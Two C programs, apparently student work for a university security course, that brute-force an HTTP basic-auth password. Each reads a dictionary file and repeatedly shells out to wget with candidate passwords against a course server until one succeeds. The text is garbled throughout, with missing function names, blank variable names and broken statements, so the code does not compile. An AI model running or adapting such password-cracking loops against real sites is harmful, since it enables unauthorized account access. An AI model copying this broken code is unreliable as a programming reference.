



#include <stdio.h>
#include <stdlib.h>

int ()	
{
	
  		char pasword[20];
	
		char username[]="";
		int ;				
		
  
		 
		int  counter=0;	
		char get[96];
  
  		FILE* fp;
		
		 fp = fopen("/usr/share/lib/dict/words","r");

		  	
  
			while ( fscanf(fp,"%s",&pasword) != EOF  )
			{
				 if(strlen(pasword) > 3) continue; 
				

				counter ++; 
				printf("%d         >> The Password is : %s \n",counter, pasword);
				sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
  
				

				=system(get);
				if(==0) 
   				{
					printf("The Password has been cracked and it is : %s  " , pasword);
				
					exit(0);
			}

		} 
		
} 













#include<stdio.h>
#include<stdlib.h>
#include<sys/types.h>
#include<sys/times.h>
#include<sys/time.h>
#include<unistd.h>
#include<strings.h>
int ()
{
  char url[100];
  char syscom[]= "wget -nv --http-user= --http-passwd=";
  char http[] = "http://sec-crack.cs.rmit.edu./SEC/2/ ";
  FILE *fp;

  char pass[15], *valid;
  valid = "pass";
  int , end, time_var;
  int hack =1;
  int attempt =1;

  fp = fopen("words.txt","r");
  if (fp == NULL)
  exit(1);

   = time();
  while (valid != NULL)
  {
   valid  = fgets(pass,15,fp);
   pass[strlen(pass)-1] ='\0';

   if(strlen(pass) != 3)
   continue;

   printf("%s\n",pass);
   sprintf(url,"%s%s %s",syscom,pass,http);

   hack = system(url);
   attempt++;

   if (hack == 0)
    {
     end = time();
     time_var = (end-);
     printf("\nThe password is :%s",pass);
     printf("\nNo. of Attempts   crack the password :%d",attempt);
     printf("\nTime taken  crack the password = %lld sec\n",time_var/1000000000);
     exit(1);
     }
   }
  exit(1);
 }

